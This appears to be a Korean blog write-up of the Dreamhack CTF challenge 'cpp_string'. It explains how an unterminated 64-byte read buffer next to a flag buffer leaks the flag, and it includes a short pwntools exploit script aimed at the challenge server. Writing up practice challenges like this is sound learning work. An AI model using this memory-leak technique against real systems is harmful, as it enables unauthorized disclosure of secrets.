상세 컨텐츠

본문 제목

[Dreamhack] cpp_string

SYSTEM HACKING/Dreamhack

by koharin 2025. 4. 21. 12:15

본문

728x90
반응형

취약점 분석

ifstream 객체의 read는 C언어의 read 함수와 동일함. null byte를 추가하지 않으면 memory leak이 가능하다. 

read_buffer[64], flag[64]로 연속되게 할당된다.

IDA로 확인해보면 readbuffer, flag, writebuffer가 연속되게 위치하는 것을 알 수 있다.

만약 readbuffer를 null byte 없이 64byte를 꽉 채운다면, 출력 시 연이은 flag까지 출력할 수 있는 취약점이 있다.

 

익스플로잇 코드

from pwn import *

context.log_level='debug'
p = remote('host3.dreamhack.games', 12914)

def read_file():
    p.sendlineafter(b'[*] input : ', b'1')

def write_file(str):
    p.sendlineafter(b'[*] input : ', b'2')
    p.sendlineafter(b'Enter file contents : ', str)

def show_contents():
    p.sendafter(b'[*] input : ', b'3')

# write to readbuffer variable without NULL terminator
write_file(b'A'*64)
# write to flag variable
read_file()
# trigger memory leak
show_contents()

p.interactive()

2번에서 readbuffer를 64바이트를 꽉 채우고(null byte 없이),

1번으로 read_flag를 실행해서 flag를 전역변수에 적은 후,

3번으로 show contents를 하면  플래그가 출력된다.

 

728x90
반응형

관련글 더보기